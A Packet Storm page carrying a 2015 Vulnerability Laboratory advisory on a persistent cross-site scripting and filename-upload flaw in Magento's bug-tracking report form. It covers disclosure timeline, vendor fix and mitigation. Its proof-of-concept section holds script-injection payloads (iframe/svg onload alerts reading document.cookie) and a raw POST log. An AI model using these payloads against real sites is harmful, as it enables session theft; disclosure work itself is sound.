exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Magento Cross Site Scripting

Magento Cross Site Scripting
Posted Sep 14, 2015
Authored by Hadji Samir, Vulnerability Laboratory | Site vulnerability-lab.com

Magento suffered from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 1f9abe773c72fc70b1cfb69868ae0352dbc9344a10814fdaedb052f41ced7505

Magento Cross Site Scripting

Change Mirror Download
Document Title:
Magento Bug Bounty #19 - Persistent Filename Vulnerability

References (Source):


Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.

Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered an application-side file input validation web vulnerability in the official Magento Commerce online service web-application.

Vulnerability Disclosure Timeline:
2015-08-13: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)
2015-08-14: Vendor Notification (Magento Security Team - Bug Bounty Program)
2015-08-22: Vendor Response/Feedback (Magento Security Team - Bug Bounty Program)
2015-09-05: Vendor Fix/Patch (Magento Developer Team)
2015-09-10: Bug Bounty Reward (Magento Security Team - Bug Bounty Program)
2015-09-11: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Technical Details & Description:
An application-side web vulnerability has been discovered in the official Magento Commerce online service web-application.
The vulnerability allows an remote attacker to inject own script code to the application-side of the affected application module.

The web vulnerability is located in the `filename and files` value of the `/products/bug-tracking/report/saveIssue/` module.
Remote attackers are able to inject own files with malicious `files & filename` value via `upload` POST method request to
compromise the magento commerce web-application. Remote attackers are also able to exploit the filename issue in combination
with persistent injected script codes to execute different malicious attack requests. The attack vector is located on the
application-side of the magento service and the request method to inject is POST. The issue is remotly exploitable after
approval with two test accounts. The sender and receiver of the ticket is affected by the issue itself. Another issue is that
the filename upload has no secure restriction of the name value. Thus can result in upload of multiple malicious file extensions
to remotly elevate user privileges by malicious interaction. (arbitrary file upload - multiple extensions)

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the application-side validation web vulnerability requires no user interaction and only a low privileged web-application user account.
Successful exploitation of the security vulnerability results in the ubnt community web-application compromise.

Request Method(s):
[+] [POST]

Vulnerable Domain(s):
[+] www.magentocommerce.com

Vulnerable Module(s):
[+] /products/bug-tracking/report/saveIssue/

Vulnerable Parameter(s):
[+] filename
[+] files

Affected Module(s):
[+] /saveIssue/

Proof of Concept (PoC):
The vulnerability can be exploited by remote attackers with low privilege application user account and only low user interaction (click).
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login in magento website
2. Go to http://www.magentocommerce.com/bug-tracking/report
3. Create to Report an Issues
4. Upload a file with a payload script code (code injection) as filename via POST
5. Report the issue and the payload code will execute
6. Successful reproduce of the remote vulnerability in the filename value!

PoC: Source
<td class="light" valign="top">Attachments:</td>
<td colspan="3" class="desc">
<a href="http://www.magentocommerce.com/products/bug-tracking/issue/attachment/id/366/">
"><iframe src="Magento%20-%20Issue%20%23976_files/x.html" onload="alert(document.cookie)"> [PERSISTENT INJECTED SCRIPT CODE!]
.png </a>
<small>(5281)</small><br />

<!-- Starts user-comment-->

<div class="user-comment">
<form id="comment_form"
enctype="multipart/form-data" method="post">
<div class="comment-respond">
<h4 id="respond">Leave your comments</h4>
<label for="message">Talk back! <span
<div class="clear"></div>
<a href="javascript:void(0);" id="upload"
style="font-weight:bold;">Upload Files</a>
<div class="clear"></div>
<div style="padding-top:18px; display:none;
float:left;" id="filesUpload">
<p class="filebox"><label
for="file1">File 1</label>&nbsp;
<input style="width:200px;" type="file"
name="files[]" id="file1"></p>
<p class="filebox"><label
for="file2">File 2</label>&nbsp;
<input style="width:200px;" type="file"
name="files[]" id="file2"></p>
<p class="filebox"><label
for="file3">File 3</label>&nbsp;
<input style="width:200px;" type="file"
name="files[]" id="file3"></p>
<p class="filebox"><label
for="file4">File 4</label>&nbsp;
<input style="width:200px;" type="file"
name="files[]" id="file4"></p>
<p class="filebox"><label
for="file5">File 5</label>&nbsp;
<input style="width:200px;" type="file"
name="files[]" id="file5"></p>
<div class="clear"></div>
<textarea class="required-entry" name="message"
id="message" cols="" rows="10" tabindex="4"
<input type="hidden" id="id" name="id" value="976"
<p class="a-right"
style="margin-top:5px;"><button type="submit" class="form-btn"
id="submit" tabindex="5" name="submit">Submit

--- PoC Session Logs [POST] ---
POST http://www.magentocommerce.com/products/bug-tracking/report/saveIssue/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[text/html]
Request Headers:
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept-Encoding[gzip, deflate]
Cookie[optimizelySegments=%7B%22239237138%22%3A%22referral%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1435629894815r0.48409395353209406; optimizelyBuckets=%7B%7D; ClrSSID=1435629895256-9459; ClrOSSID=1435629895256-9459; ClrSCD=1435629895256; s_fid=513544F7FFB1FEE3-0E418DF3AEC71928; __utma=94789760.520314733.1436544419.1436544419.1436544419.1; __utmz=94789760.1436544419.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fsr.r=%7B%22d%22%3A90%2C%22i%22%3A%22d5e2305-49001131-ef4f-5243-68f83%22%2C%22e%22%3A1436238816168%7D; __atuvc=1%7C27; __unam=28e3065-14e78af2939-218287ab-1; trwv.uid=magento-1436543835494-1fc6a88f%3A1; frontend=nas46lsf79tqn6or4k768jv1i6; frontend=nas46lsf79tqn6or4k768jv1i6; ClrCSTO=T; s_cc=true; s_sq=magentocommerce%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww.magentocommerce.com%25252Fbug-tracking%25252Freport%2526oid%253DReport%252520issue%2526oidt%253D3%2526ot%253DSUBMIT; _ga=GA1.2.520314733.1436544419; _gat=1; interstitial=3]
Post Data:
Content-Disposition: form-data; name="title"

admin "><iframe src="javascript:alert('samir')"></script><svg onload=alert(1)>
Content-Disposition: form-data; name="type"
Content-Disposition: form-data; name="version"
Content-Disposition: form-data; name="description"
Content-Disposition: form-data; name="steps"
admin "><iframe src="javascript:alert('samir')"></script><svg onload=alert(1)>
Content-Disposition: form-data; name="files[]"; filename="\"><[PERSISTENT INJECTED SCRIPT CODE!]iframe src="x" onload=alert(document.cookie)> .png"
Content-Type: image/png

Solution - Fix & Patch:
The vulnerability can be patched by a secure parse and encode of the vulnerable files and filename values in the send POST method request.
Restrict the input disallow special chars and setup an own exception that prevents multiple extensions in filenames on upload to block arbitrary file execution.

Security Risk:
The security risk of the application-side input validation web vulnerability in the magento commerce application is estimated as medium. (CVSS 3.9)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By